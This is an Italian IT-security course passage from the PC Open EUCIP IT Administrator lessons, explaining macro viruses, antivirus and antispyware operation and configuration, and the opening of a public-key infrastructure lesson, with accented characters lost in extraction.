sibilit, ove presente, stata subito sfruttata, dando luogo
a una vera e propria ondata di "virus delle macro di X" do-
ve "X" il nome del particolare programma per cui questi
virus sono stati scritti.
Tali virus vengono attivati per il semplice fatto di aprire
con il programma X un file di dati, in quanto, a seconda dei
programmi, all'apertura del file certe macro possono esse-
re eseguite automaticamente. (Riquadro Macro a esecuzio-
ne automatica in Office)
I virus delle macro sfruttano questa propriet per in-
stallarsi stabilmente nel programma e per replicarsi negli
altri file o documenti che verranno aperti con esso. La di-
fesa consiste nella disabilitazione delle macro (spesso of-
ferta, con opzione da esercitare interattivamente, dal pro-
gramma stesso all'atto dell'apertura di un file contenente
macro ad esecuzione automatica) oppure nell'esame con
antivirus dei file di dati o del programma stesso.
La minaccia dei virus delle macro tale che, per esem-
PC Open www.pcopen.it 90
Figura 3 - Come accedere
alle opzioni di protezione
macro in Word
Lezione 5 IT Administrator - Sicurezza informatica
pio, in Microsoft Word disponibile addirittura un dialog
box espressamente dedicato al problema del controllo di
esecuzione delle macro. Vi si accede dalla schermata Op-
zioni, scheda Protezione (fig. 3) mediante il pulsante "Pro-
tezione Macro". Nel dialog box che appare (fig. 4) sono di-
sponibili tre livelli di protezione. Al livello pi elevato sono
accettate esclusivamente macro dotate di firma digitale ri-
conosciuta e appartenente a un soggetto fidato. In caso di
firma valida, ma autore sconosciuto, sar visualizzato il
certificato digitale e richiesto all'utente se autorizzare l'e-
secuzione. Si tratta dell'impostazione pi prudenziale, ov-
viamente, anche se per lo scambio di documenti con macro
in ambito aziendale difficile pensare che ogni collega si
sia premunito di un certificato digitale, lo abbia reso noto
a tutti i colleghi e sappia o voglia farne uso ogni volta che
scrive una macro. Per questa ragione probabilmente
un'impostazione un po troppo drastica, che pu perfino
impedire il funzionamento di eventuali documenti che di-
pendono in modo essenziale dalle macro. Se si dispone di
un antivirus aggiornato regolarmente, riconosciuto da
Word (fatto segnalato dalla scritta evidenziata in figura) al-
lora pu essere considerato sufficiente il livello intermedio,
al quale l'apertura di un documento con macro viene se-
gnalata e si chiede all'utente se desidera autorizzarne il fun-
zionamento o bloccarle (fig.5).
Altra sicurezza... incrinata dal "progresso" riguarda la
diffusione dei virus mediante posta elettronica. In passato,
la semplice ricezione di un messaggio di posta elettronica
con allegato "infetto" non costituiva in s alcun pericolo, fi-
no a quando non fosse stato consapevolmente eseguito o
aperto lallegato.
Purtroppo, con il tempo, sistemi operativi e programmi
sono stati notevolmente sofisticati per renderli pi "ami-
chevoli" e facili da usare, creando per, parallelamente, oc-
casioni di "aggancio" per i progettisti dei virus. Alcuni pro-
grammi di posta elettronica, infatti, possono mostrare una
anteprima del contenuto degli allegati di une-mail. Per ge-
nerare ci che viene mostrato come anteprima (immagine
o testo), in genere essi devono aprire "dietro le quinte" l'al-
legato con il programma che gestisce quel particolare tipo
di file. In virt dei meccanismi che abbiamo visto, gi que-
sta operazione, per certi tipi di file, pu bastare a infettare
il computer senza che l'utente abbia aperto intenzional-
mente alcun allegato. Per questo consigliabile disattiva-
re, se possibile, la funzionalit di "mostra anteprima", o
usare un diverso programma di posta elettronica che non
la offra o che almeno consenta di escluderla.
Per esempio, in Outlook, un programma che proprio per
questa ragione, soprattutto in passato, risultato molto
esposto a questa minaccia, l'opzione si chiama Anteprima
PC Open www.pcopen.it 91
Macro a esecuzione automatica
in Office
Vediamo ad esempio come si presenta una macro ad
attivazione automatica in Excel. Oltre a registrarla in
modalit interattiva, la macro pu essere scritta
proprio come un programma nel Visual Basic Editor,
raggiungibile da Strumenti/ Macro/ Visual Basic Editor
(fig. A)
Perch possa essere eseguita automaticamente
all'apertura del documento (protezione permettendo,
naturalmente) la macro deve chiamarsi Auto_Open
ed essere salvata con il documento (fig.B).
Cos, nel nostro caso, all'apertura di Esempio.xls
(con impostazione di sicurezza macro regolata al livello
medio), sar visualizzato il messaggio di richiesta per
abilitare le macro e alla nostra risposta affermativa
apparir il messaggio visualizzato dalla nostra macro
(fig. C).
Logicamente le macro ad esecuzione automatica
all'avvio possono avere effetti molto pi pericolosi
della nostra e nei casi pi gravi si comportano come
veri e propri virus, causando danni e diffondendosi ad
altri documenti per "infettare" il sistema.
Una scorciatoia per impedire l'attivazione delle macro
al lancio di Excel consiste semplicemente nel tenere
premuto MAIUSC durante il lancio dell'applicazione.
Figura A - Cos si
lancia l'editor Visual
Basic integrato nei
prodotti del
pacchetto Office pu
essere usato per
scrivere
manualmente le
macro.).
Figura B - Una macro
chiamata Auto_Open
salvata in un
determinato
documento pu
essere eseguita
automaticamente
all'apertura di quel
documento, se le
impostazioni di Word
lo consentono
Figura C - L'effetto
della nostra macro
Auto_Open eseguita
all'apertura del
documento
ITAdministrator - Sicurezza informatica Lezione 5
Automatica ed attivabile/disattivabile dal menu Visualiz-
za (fig. 6). A meno che non se ne senta assolutamente il bi-
sogno, raccomandiamo caldamente di mantenerla disabi-
litata.
Come funzionano gli antivirus
La storia dei software antivirus lunga praticamente
quanto quella dei virus stessi e naturalmente negli anni vi
stato per i "difensori" un processo evolutivo paragonabi-
le a quello degli "attaccanti", sebbene il principio fonda-
mentale di funzionamento degli antivirus sia rimasto rela-
tivamente stabile nel tempo.
Individuazione dei virus: focus sull'identit
Ancor oggi, infatti, un antivirus rileva la presenza di un
virus innanzitutto in base al riconoscimento di una deter-
minata sequenza nota di byte all'interno di un file (magari
in posizioni particolari di quel file). La sequenza da rico-
noscere detta "traccia virale" o "virus signature". Questo
approccio ha le seguenti implicazioni principali:
La conoscenza delle sequenze identificative deve essere
conferita dall'esterno e mantenuta aggiornata regolar-
mente.
Ogni nuovo virus rimane pericoloso fino a quando non
viene scoperto e fino a che un nuovo aggiornamento per
l'antivirus viene rilasciato ed installato sul sistema.
Ci significa che, con tale approccio, fisiologico che, se
la "produzione" di nuovi virus da parte degli hacker man-
tiene un ritmo costante, mediamente vi sia sempre un cer-
to numero di virus troppo recenti per essere stati gi sco-
perti. In altre parole, in tali condizioni il processo non con-
vergerebbe mai verso la "salute definitiva", ma piuttosto
verso uno stato di "infezione cronica" causata da forme vi-
rali sempre nuove.
A proposito di questo eterno rincorrersi degli inventori
dei virus e degli sviluppatori degli antivirus, va anche os-
servato che da un lato, col passare del tempo, diventa sem-
pre pi difficile scrivere virus che non assomiglino neanche
un po a virus gi esistenti e riconoscibili, dall'altro sem-
pre pi difficile, per chi identifica e raccoglie tracce virali,
congegnare il meccanismo di riconoscimento in modo da
evitare i falsi allarmi. Infatti i virus sono programmi scritti
con finalit indesiderate, ma utilizzano tecnologie di base
uguali a quelle dei programmi "innocenti" (aprire file, scri-
vere, leggere, eseguire controlli e confronti) perci bisogna
distinguere tra le operazioni elementari, che di per s non
possono costituire "indizio di reato", e la combinazione in-
tenzionalmente maliziosa di tali operazioni innocue.
Un inseguimento continuo
La sfida continua tra gli sviluppatori di virus e di antivi-
rus, al di l della gravit della materia, presenta aspetti di
notevole interesse tecnico, il tutto in una cornice quasi epi-
ca da sempiterno scontro tra "forze del bene e forze del ma-
le" che si trascina da decenni.
Gli sviluppatori di virus hanno messo a punto nuove e
sottili minacce introducendo i virus mutanti o polimorfici.
Per contrastare le strategie di ricerca degli antivirus, si trat-
ta di virus progettati in modo tale da creare automatica-
mente "mutazioni" di s che, pur rimanendo pienamente
funzionanti e capaci di perpetuare l'infezione, risultino ir-
riconoscibili (in quanto "nuove", quindi non ancora "note")
alle scansioni degli antivirus.
Se si confrontano tra loro le versioni mutate, si nota che
solo una piccolissima porzione di codice (preambolo) co-
stante e riconoscibile, mentre il resto del codice del virus
in certo qual modo "crittografato" con chiave sempre di-
versa, e viene decifrato al volo dal preambolo subito prima
di essere eseguito. Il virus diventa molto difficile da rico-
noscere perch il codice del preambolo progettato in mo-
do da sembrare "innocente" e "generico", e in effetti, di per
s, lo : per esempio, anche gli archivi e i programmi au-
toespandenti funzionano in modo simile e possono avere
un preambolo che si occupa di estrarre il codice o l'archi-
vio vero e proprio, magari con una password di cifratura.
Questa dissimulazione sotto una veste di apparente "nor-
malit" complica il lavoro dell'antivirus.
Il successo di tale tecnica dipende da quanto profonde
sono le mutazioni che il virus capace di produrre.
Rappresenta un ulteriore problema il fatto che la por-
zione "preambolo" generalmente breve. Ora, pi breve
la firma virale che viene cercata per identificare il virus, pi
alta la probabilit che la stessa sequenza compaia, in mo-
do del tutto "legittimo", come parte di un algoritmo di un
programma assolutamente "sano", oppure come dati e non
istruzioni. In questi casi, il programma antivirus pu pro-
durre dei "falsi allarmi", che creano comunque un disser-
vizio all'utente, in quanto questi potrebbe essere portato,
per prudenza, a cancellare dal disco un file perfettamente
normale.
Altre tecniche per creare nuove difficolt sono mirate
espressamente a contrastare l'attivit degli antivirus, come
il funzionamento stealth, mediante il quale il virus "si na-
PC Open www.pcopen.it 92
Figura 4 - Il pannello di
configurazione delle
opzioni protezione macro
di Word prevede tre livelli
di sicurezza. Si noti che
l'eventuale presenza di
un antivirus viene rilevata
e segnalata
dall'indicazione in basso
Figura 5 - Con il livello
intermedio di protezione
impostato, questo
messaggio che Excel o
Word visualizzano
all'apertura di un
documento contenente
delle macro
potenzialmente
pericolose consente di
disattivarle o attivarle a
piacere
Figura 6 - In Outlook
consigliabile disbilitare
lanteprima automatica
5.5.4.2 Conoscere i
principi essenziali di
funzionamento di un
programma antivirus.
Lezione 5 IT Administrator - Sicurezza informatica
sconde" ai controlli esponendo temporaneamente una fal-
sa copia innocente del vettore virale. In sostanza, un virus
stealth capace di interferire con il sistema operativo a un
livello tale da riuscire a nascondere la propria presenza an-
che ai programmi antivirus, ingannandoli e quindi "so-
pravvivendo" alle loro ricerche.
Questo tipo di virus si diffonde pi facilmente con quei
sistemi operativi in cui non vi protezione contro la mani-
polazione dei file di sistema, o in cui non presente un so-
lido sistema di livelli di privilegio che impedisca a pro-
grammi utente (quali i virus) di intercettare chiamate di si-
stema.
Una forma di difesa pu essere limpiego alternato di pi
antivirus diversi, in quanto il particolare espediente stealth
usato dal virus pu essere efficace soltanto contro la tec-
nica d'indagine adottata da un particolare software di
scansione. Linstallazione e limpiego contemporaneo di
pi antivirus sullo stesso sistema pu provocare incompa-
tibilit, falsi allarmi e veri e propri blocchi di sistema. Per-
ci va usata con cautela.
Gli sviluppatori di antivirus, dal canto loro, hanno mes-
so in campo strategie per evitare controlli molto probabil-
mente inutili, come quella dignorare i file con suffissi che
fanno escludere che possano essere "portatori" dell'infe-
zione: (per esempio, limitandosi ai formati dati, impossi-
bile alloggiare un virus in una GIF in modo che si attivi al-
l'apertura perch ci non previsto dal formato GIF, men-
tre in un file DOC questo possibile).
Per limitare la quantit di firme virali in archivio e acce-
lerare l'analisi si tenta inoltre di riconoscere "famiglie" di vi-
rus, con parti comuni relativamente grandi e parti pi pic-
cole che risultano differenziate nelle "mutazioni". Altre mi-
sure prudenziali tendono a impedire che il virus possa in-
terferire con il lavoro dello stesso antivirus annidandosi in
librerie di sistema usate da quest'ultimo: la tecnica spesso
adottata per evitarlo consiste nella scansione della memo-
ria centrale, per escludere il rischio che vi sia gi in essere
un'infezione prima diniziare la scansione sui file. Diversa-
mente, il virus potrebbe addirittura servirsi del lavoro del-
l'antivirus per farsi comodamente condurre come suo pas-
seggero nella visita di tutti i file del sistema, infettandoli su-
bito dopo che l'antivirus li abbia giudicati sani!
L'equilibrio tra queste due difficolt antagoniste porta a
ritenere che sia molto improbabile che la situazione volga
decisamente a favore degli attaccanti o dei difensori.
Limiti dei programmi antivirus
Un'altra conseguenza dell'approccio "tradizionale" a
scansione completa l'appesantimento progressivamente
crescente dei software antivirus e quindi il rallentamento
dei computer durante la loro esecuzione. Per file system
troppo estesi (in rapporto alla potenza della CPU) potreb-
be addirittura essere impossibile completare una scansio-
ne integrale del sistema nelle ore notturne.
Questo dovuto al fatto che il database delle firme virali
note ("signature file" o "virus pattern file") continua ad al-
lungarsi: non infatti possibile, per ragioni di prudenza,
considerare "debellate" le infezioni virali pi vecchie, per-
tanto le vecchie virus signature devono essere mantenute
nel repertorio, al quale continuano ad aggiungersene di
nuove.
Poich il software antivirus deve confrontare parti di
ogni file con tutte le firme virali note, col passare degli an-
ni e l'aumento del numero di firme virali diventa necessario
fare un numero di confronti sempre maggiore. Tale au-
mento di lavoro rallenta gli antivirus e rende sempre pi pe-
sante il processo di "bonifica".
Un altro aspetto da considerare il fatto che se la logi-
ca dell'antivirus consiste nellesaminare periodicamente
tutti i file presenti sul sistema (scansione periodica inte-
grale), il grado di protezione offerto non risulta soddisfa-
cente. Nel caso si verifichi un'infezione, infatti, questa non
sar rilevata fino alla prossima scansione completa. Nel
frattempo essa avr avuto il tempo di diffondersi fuori con-
trollo e magari di provocare i primi danni reali.
Per cercare di ovviare allinconveniente, da lungo tempo
gli antivirus integrano un modulo di controllo residente che
lavora in tempo reale intercettando tutti gli accessi a file sy-
stem ed esaminando "al volo" tutti i file prima che vengano
aperti, letti e magari eseguiti. In questo modo la protezio-
ne continua e non saltuaria come nel primo modello di
funzionamento, con un notevole miglioramento della sicu-
rezza offerta. Tuttavia, mentre con la tecnica delle scan-
sioni periodiche complete possibile programmare questa
attivit nelle ore notturne in cui il sistema pi scarico, con
l'approccio a "protezione continua" (real time scan) il si-
stema risulta costantemente appesantito durante il nor-
male funzionamento. In pratica, ogni apertura di file com-
porta un piccolo supplemento di lavoro per il sistema e ci
comporta un rallentamento costante, visibile anche dagli
utenti finali nelle ore di servizio.
Sono naturalmente possibili ottimizzazioni: per esem-
pio, una volta verificato attraverso una scansione integra-
le che sul sistema non siano gi presenti infezioni virali,
possibile decidere di sorvegliare le sole aperture in scrit-
tura, che sono usate dai virus per infettare i file, ed esami-
nare i dati che vengono scritti, specie se la scrittura si ri-
volge a file eseguibili gi presenti.
Individuazione dei virus: focus sui comportamenti
Questo tipo di strategia ci porta a un altro possibile ap-
proccio di lavoro degli antivirus, che possiamo compren-
dere attraverso un parallelo. Anzich conoscere le im-
pronte digitali di tutti i pregiudicati noti e di controllare le
impronte di tutti i passanti, pu avere senso anche solo li-
mitarsi a rilevare e bloccare sul nascere i comportamenti
sospetti, come estrarre un'arma, girare mascherati, segui-
re o spiare qualcuno. Un antivirus pu cio integrare la tec-
nica tradizionale con analisi euristiche (capaci di ricono-
scere nuovi modelli prima non noti) sui comportamenti at-
tuati da un processo: aprire in scrittura un file eseguibile
sempre sicuramente sospetto, come lo tentare di scrive-
re sul Master Boot Record del disco se non lo si sta for-
mattando.
Tale strategia permette in particolare di bloccare anche
virus non ancora noti al database delle firme virali, poich
si concentra sui comportamenti anzich sull'identit.
Purtroppo un'analisi sui comportamenti pu portare a
falsi allarmi anche pi facilmente di una scansione virale.
Infatti, qualsiasi ambiente di programmazione, in fase di
compilazione e di link, ha evidentemente bisogno di aprire
in scrittura un file eseguibile, cos come qualsiasi utility per
il partizionamento o l'inizializzazione del disco fisso deve
poter modificare il master boot record e la partition table.
Per evitare di generare falsi allarmi, l'analisi dovrebbe tener
conto dell'applicazione che sta adottando un comporta-
mento sospetto e prevedere una lista di "esenzioni", oppu-
re si dovrebbe scendere ancor pi nel dettaglio e verifica-
re non solo se un programma tenta di aprire in scrittura un
file eseguibile, ma anche che cosa esattamente sta tentan-
do di scrivervi.
Ottimizzazioni di questo tipo sono sicuramente adotta-
te per migliorare il grado di protezione mantenendo un ex-
tra lavoro (overhead) accettabile per il sistema, ma chia-
ro che non ci si pu spingere troppo in l con le "ipotesi di
reato", altrimenti si rischierebbe di creare falsi allarmi in
permanenza oppure di rallentare troppo il funzionamento
complessivo.
Per esempio, alcuni BIOS prevedono un'opzione Virus
Protection che consiste nel bloccare ogni e qualsiasi ac-
cesso in scrittura al master boot record (MBR) del disco fis-
so. Indubbiamente tale protezione fornisce un'elevata si-
curezza (non generalmente possibile disattivarla da
software, quindi il codice del virus non pu aggirarla), ed
PC Open www.pcopen.it 93
5.5.4.3 Essere al
corrente dei limiti e
delle fallacit dei
programmi antivirus
ITAdministrator - Sicurezza informatica Lezione 5
essendo realizzata nel BIOS pu risultare anche molto ve-
loce, ma in mancanza di una logica pi sofisticata per di-
stinguere tra accessi leciti e accessi illeciti, abilitare tale op-
zione significa interferire con il funzionamento dei pro-
grammi di gestione del disco che hanno legittimamente bi-
sogno di poter effettuare questo tipo di operazioni. Il risul-
tato che pochi utenti la abilitano ed essa si rivela perci
sostanzialmente inutile. La lezione che il complesso di
protezione antivirus deve risultare complessivamente at-
tento e preciso, ma non generalizzare in modo paranoico,
altrimenti controproducente. La ricerca di un equilibrio
tra prestazioni e protezione il difficile esercizio in cui si
devono quotidianamente cimentare gli sviluppatori di
software antivirus.
Purtroppo dobbiamo registrare, negli anni, una tenden-
za a un rapido appesantimento delle macchine durante il la-
voro degli antivirus. Certe operazioni, come la copia di in-
teri alberi di directory da un punto all'altro del disco, pos-
sono risultare nettamente appesantite dalla presenza di un
antivirus. Addirittura, nella copia di files fra dischi di rete
appartenenti a PC diversi, i files oggetto dell'operazione po-
trebbero essere inutilmente sottoposti a due diversi con-
trolli, alla partenza e all'arrivo, qualora l'antivirus sia in-
stallato su entrambi i sistemi!
Disattivando temporaneamente la protezione si pu ot-
tenere un considerevole aumento di prestazioni. Anche per
questa ragione, alcuni antivirus sono dotati di una funzio-
ne snooze. Tale funzione consente di disabilitare la prote-
zione per un certo tempo (di solito qualche minuto) senza
il rischio di dimenticare di riattivarla, in quanto ci avverr
automaticamente al termine del periodo scelto. In questo
modo si potr lanciare l'operazione di copia che verr ese-
guita a piena velocit grazie al temporaneo snellimento dei
controlli real time.
Installare, configurare, mantenere aggiornato
un programma antivirus
Per dotare il proprio sistema di una protezione antivirus
occorre fondamentalmente compiere i seguenti passi:
Scaricare e installare un software antivirus. Ormai ve ne
sono di ottimi anche tra quelli gratuiti. Consigliamo, ad
esempio, AVG AntiVirus (Figura 7)
A installazione conclusa, aggiornare immediatamente
l'antivirus (figura 8) e lanciare una prima scansione inte-
grale del sistema. (Figura 9). Questo necessario in quan-
to il package dinstallazione del software antivirus cambia
relativamente di rado. Quindi, anche se esso contiene
sempre un database delle firme virali, questo risulter ag-
giornato alla data in cui stato completato il package: a
volte vecchio anche di mesi. Senza un immediato ag-
giornamento, la protezione sarebbe inadeguata.
Configurare il software antivirus in modo tale che:
- risulti attivata la protezione in real time. (Figura 9)
Questa di solito l'impostazione di default, ma vale la
pena di controllare.
- sia abilitato il sistema di aggiornamento periodico au-
tomatico del "signature file". Naturalmente ci richiede
una connessione a Internet: in sua mancanza possibi-
le effettuare l'aggiornamento anche da CD ROM o altro
supporto. Molto importante anche controllare ma-
nualmente, ogni tanto, che la data del signature file sia
recente. (Figura 9) Infatti possibile che per qualche mo-
tivo (connessione di rete precaria, firewall aziendale mo-
dificato, sito del produttore cambiato) l'aggiornamento
automatico sia fallito. In tal caso l'ignaro utente del si-
stema, sentendosi tranquillo e protetto, potrebbe esse-
re portato ad agire con minore prudenza e con prevedi-
bili conseguenze.
- vengano eseguite scansioni periodiche integrali, per
esempio nelle ore notturne. (Figura 10) Se il sistema do-
tato di un file system troppo grande per poterlo analiz-
zare tutto in tale arco di tempo, in alcuni antivirus pos-
sibile programmare scansioni scaglionate nel tempo:
certe cartelle il luned, certe altre il marted e cos via.
Naturalmente la sicurezza decresce in quanto aumenta
il tempo medio intercorrente tra due scansioni conse-
cutive sulla stessa area, durante il quale esiste il rischio
che si instauri (e rimanga non rilevata) una nuova infe-
zione.
Molto simile la procedura da seguire per installare e at-
tivare una protezione antispyware (Vedi riquadro pagine
seguenti Installazione e funzionamento di un antispyware).
Il funzionamento, invece, differisce leggermente da quello
di un antivirus, in quanto per quest'ultimo sempre lecito
PC Open www.pcopen.it 94
5.5.4.4 Essere in
grado d'installare,
configurare,
mantenere
aggiornato un
programma
antivirus
5.5.4.5 Sapere quali
buone prassi (good
practices)
considerare nel
proteggere e
utilizzare postazioni
workstation
Figura 7 - AVG uno dei
migliori antivirus gratuiti
per uso personale
Figura 8 - La prima cosa
da fare dopo aver
installato AVG
aggiornarlo. Se non lo
propone l'installer
possibile farlo in seguito
dal Control Center
selezionando "Check for
Updates" e scegliendo
"Internet". La scansione
del sistema richiede un
tempo proporzionale alle
dimensioni del file system
Figura 9 - Controllare
sempre le impostazioni in
modo tale che sia attiva
la protezione in Real
Time
Figura 10 - AVG permette
di programmare
scansioni e
aggiornamenti, compresa
l'ora alla quale devono
avvenire
Lezione 5 IT Administrator - Sicurezza informatica
agire quando si rileva un principio d'infezione o un file in-
fetto, mentre nel caso della prevenzione run time anti-
spyware meno banale bollare inequivocabilmente un de-
terminato comportamento come indizio dinfezione. Per
esempio, un accesso in scrittura al Registro di sistema po-
trebbe mascherare un tentativo di attacco, ma innumere-
voli programmi "sani e normali" ne hanno legittimamente
bisogno per le loro attivit. Per questi motivi, le segnala-
zioni di "presunta minaccia" visualizzate dagli strumenti an-
tispyware in genere prevedono una qualche forma dinte-
rattivit che permette all'utente di giudicare e decidere se
autorizzare o negare il permesso a una determinata azione
sospetta.
L'utente pu sentirsi chiedere, per esempio, se autoriz-
zare o meno l'esecuzione di uno script VBScript (figura 11):
qualora si decida di bloccarlo e di ricordare la scelta fatta
(figura 12), lo script entrer in una sorta di "blacklist" da cui
potr eventualmente essere rimosso in seguito (Figura 13).
Quando un'operazione viene autorizzata, la segnalazione
simile, ma di solito presente un link per saperne di pi sul-
l'azione sospetta appena eseguita (figura 14).
C' da dire che non sempre le segnalazioni dell'anti-
spyware, pur puntuali e ben circostanziate, risultano com-
prensibili per l'utente finale: un tipico esempio sono gli av-
visi relativi a tentativi di modifica del Registry (figura 15 ).
Anche l'aggiunta al Registry di chiavi per l'installazione
di controlli ActiveX rappresenta un evento sospetto, ma ri-
sulta veramente difficile per l'utente giudicare in base al no-
me del controllo e al suo lungo e incomprensibile identifi-
catore numerico, il ClassID (figura 16).
In questi casi, se non si sa come rispondere alla doman-
da rivolta dall'antispyware, si pu applicare un criterio pru-
denziale: se era in corso uninstallazione di software di pro-
venienza "fidata" ed espressamente attivata da noi, pro-
babile che queste operazioni giudicate sospette dall'anti-
spyware siano in realt legittime e possono quindi essere
autorizzate (figura 17 ). Se invece una simile segnalazione
dovesse apparire nel corso di una navigazione Web o in
condizioni di quiete, senza che ci sia stata da parte dell'u-
tente alcuna azione esplicitamente rivolta a installare o
configurare programmi, consigliabile negare l'autorizza-
zione.
Nelle organizzazioni con un gran numero di personal
computer in rete, la prassi irrinunciabile di tenere regolar-
mente aggiornati gli antivirus di tutte le macchine diventa
una questione non banale. Affidare l'operazione alla dili-
genza dei singoli utenti finali non una soluzione soddi-
sfacente: le dimenticanze sono sempre possibili e anche la
ricezione di un solo messaggio email infetto pu bastare
per diffondere il contagio (non pi via mail, ma con altri
meccanismi sulla Intranet aziendale) a tutte le macchine.
Incaricare un ente centrale di effettuare l'operazione d
maggiori garanzie, ma potrebbe comportare uno sforzo am-
ministrativo eccessivo.
Apposite procedure automatiche possono eseguire que-
sto compito anche quotidianamente, per esempio nelle ore
notturne, ma il carico sulla rete aziendale pu diventare in-
sostenibile.
In tali situazioni, una buona soluzione per proteggersi
dai virus propagati via posta pu essere quella di centra-
lizzare il controllo, installando un antivirus direttamente
sul server di posta elettronica. I messaggi contenenti file in-
fetti saranno respinti e una mail di avviso sar inviata al de-
stinatario per informarlo del fatto.
Alcuni siti web di approfondimento
In rete sono presenti numerosissimi siti dedicati all'argo-
mento della sicurezza. Gli indirizzi qui segnalati a titolo in-
dicativo possono essere utili come punti di partenza o co-
me sintesi sul tema.
Pagina su Home Network Security sul sito del CERT (Com-
puter Emergency Response Team), Carnegie-Mellon Uni-
PC Open www.pcopen.it 95
Figura 11 - Uno script
VBS viene bloccato
prudenzialmente da
Microsoft Antispyware
Figura 12 - Una vistosa
segnalazione
dell'antispyware informa
l'utente che lo script
stato bloccato
Figura 13 - La lista degli
script da bloccare gestita
dall'amtispyware
Microsoft
Figura 14 - Un'azione
sospetta appena stata
autorizzata
ITAdministrator - Sicurezza informatica Lezione 5
versity: www.cert.org/tech_tips/home_networks.html
Un sito ricco di consigli sull'amministrazione di siste-
ma e di rete per utenti domestici di PC http://www.
firewallguide.com/
Utili suggerimenti pratici dal sito Microsoft: "The ten im-
mutable laws of security" http://www.microsoft.com/
technet/treeview/default.asp?url=/technet/columns/
security/essays/10imlaws.asp
PC Open www.pcopen.it 96
Figura 15 - Le modifiche
al Registry possono
nascondere gravi insidie.
L'antispyware SpyBot
visualizza un apposito
alert
Figura 16 - Spybot ha
appena bloccato un
tentativo di installazione
di un nuovo controllo
ActiveX
Figura 17 - Non sempre
l'installazione di un
controllo ActiveX una
minaccia: spesso
l'operazione pu essere
autorizzata senza rischi.
Spybot segnala in ogni
caso la decisione presa
Installazione e
funzionamento
di un antispyware
Antivirus e antispyware sono assai simili per quanto
riguarda l'installazione, l'aggiornamento e l'uso
quotidiano. In questo esempio vediamo i principali passi
di configurazione di Ad-Aware, un antispyware molto
diffuso, gratuito per uso personale.
Subito dopo il termine dell'installazione del programma,
tipicamente viene proposto di aggiornare
immediatamente il signature file: quello che viene
installato con il programma infatti vecchio quanto il
setup package, che viene aggiornato con scarsa
frequenza. (Figura A)
Il canale di aggiornamento pi pratico ovviamente
Internet: viene comunque chiesta conferma prima di
procedere (Figura B)
Non detto che siano sempre disponibili definizioni pi
recenti di quelle gi installate. In caso affermativo,
comunque, viene segnalata l'esatta versione e si
propone di continuare (Figura C). Date le dimensioni
abbastanza ridotte del file aggiornamento, l'operazione
di download dura in genere pochi secondi (Figura D).
A
B
C
D
Lezione 5 IT Administrator - Sicurezza informatica
Ad aggiornamento completato, ci troviamo nella
schermata principale del programma. Premendo il
pulsante Start possibile lanciare una scansione del
sistema. (Figura E)
Prima diniziare l'operazione richiesto di scegliere tra
una scansione "smart", pi rapida, e una "full", pi
approfondita; inoltre possibile impostare alcune
opzioni avanzate. (Figura F)
Il pulsante Next d finalmente avvio alla scansione.
Come avviene per gli antivirus, il tempo richiesto dipende
ovviamente dalle proporzioni del file system (Figura G).
Quasi sempre, durante la scansione viene trovata
almeno qualche blanda minaccia, come cookie traccianti
(usati per ricordare i siti visitati o i comportamenti
all'interno dei siti) oppure le liste MRU (Most Recently
Used). Ad-Aware visualizza prima un rapporto sintetico
(Figura H)
e poi un elenco dettagliato delle minacce identificate
(Figura I). consigliabile eliminare sempre le minacce
segnalate. Per procedere sufficiente selezionarle
tutte e fare clic su Next.
PC Open www.pcopen.it 97
E
F
G
H
I
PC Open www.pcopen.it 98
ITAdministrator - Sicurezza informatica Lezione 6
C
ome stato descritto nella sezione 5.2 (Crittografia),
la crittografia asimmetrica si affiancata alla critto-
grafia simmetrica, che da sola presentava notevoli
problemi di trasmissione e gestione delle chiavi. La critto-
grafia asimmetrica, nata negli ambienti militari negli anni
60 del secolo scorso e separatamente inventata nel mon-
do civile durante il decennio successivo, basata sulluti-
lizzo di una chiave pubblica e di una chiave privata. Le due
chiavi sono legate da una relazione matematica che per-
mette di decifrare con una chiave ci che stato cifrato con
laltra. Tuttavia, la lunghezza delle chiavi e la complessit
del problema matematico da risolvere impediscono, con i
mezzi correnti, di ricostruire una chiave partendo dallaltra
chiave della coppia. Pertanto una delle due chiavi pu es-
sere resa disponibile pubblicamente, per esempio memo-
rizzata in un database, pubblicata in un elenco o stampata
su un biglietto da visita. Finch la chiave privata rimane se-
greta, la conoscenza della chiave pubblica non pone alcun
problema di sicurezza (se si certi che la chiave pubblica
sia autentica).
Lidea che una chiave crittografica potesse essere rive-
lata pubblicamente era cos radicale e suggestiva che il me-
todo di protezione delle informazioni con crittografia asim-
metrica divenne noto con il nome di crittografia a chiave
pubblica.
Lintroduzione della crittografia a chiave pubblica ha re-
so disponibile una serie di servizi, parte dei quali erano
sconosciuti o irrealizzabili con la cifratura simmetrica. Di
questi, i principali sono:
- la comunicazione sicura tra estranei
- la cifratura (di dati di breve lunghezza, come chiavi sim-
metriche)
- la firma digitale (che garantisce lautenticit e lintegrit
dei dati)
- lo scambio di chiavi (spesso simmetriche).
Quando si utilizza una chiave pubblica per verificare una
firma digitale o per cifrare un messaggio, dimportanza
fondamentale conoscere con certezza chi leffettivo pro-
prietario della chiave. Per esempio, se Anna ha ricevuto la
chiave pubblica di Alberto e gli scrive un messaggio riser-
vato cifrandolo con quella chiave, solo Alberto sar in gra-
do di decifrarlo con la propria chiave privata. Ma qualcuno,
impersonando Alberto o in altri modi, pu fare avere ad An-
na una falsa chiave pubblica, cos da decifrare i messaggi
che Anna cifra con tale chiave. Come fa Anna a sapere che
la chiave pubblica ricevuta sia autentica?
Uninfrastruttura un substrato che pervade un vasto
ambiente (una grande azienda, una rete, una collettivit, ec-
cetera) e che fornisce servizi ogniqualvolta le entit uten-
ti abbiano bisogno di attingervi. Due esempi sono la rete
dellenergia elettrica e Internet. Analogamente, uninfra-
In questa nuova lezione di Eucip IT Administrator Sicurezza
Informatica scoprirete come si crea un certificato, come lo si
valida e come si viene riconosciuti per suo tramite.
I contenuti sono composti
da tre elementi: un articolo
sulla rivista, un articolo, molto
pi esteso in formato PDF
e un corso multimediale
completo su CD e DVD di Giorgio Gobbi
Materiale didattico
validato da AICA
Certificazione EUCIP
IT Administrator
Modulo 5 -
IT Security
Sicurezza informatica
"AICA Licenziataria
esclusiva in Italia del
programma EUCIP
(European Certification
of Informatic
Professionals), attesta
che il materiale didattico
validato copre
puntualmente e
integralmente gli
argomenti previsti nel
Syllabus IT Administrator
e necessari per il
conseguimento della
certificazione IT
Administrator IT
Security. Di
conseguenza AICA
autorizza sul presente
materiale didattico l'uso
del marchio EUCIP,
registrato da EUCIP Ltd
e protetto dalle leggi
vigenti"
Obiettivo del corso IT Administrator
Sicurezza Informatica
Fornire al lettore familiarit con i vari modi di
proteggere i dati sia su un singolo PC sia in una LAN
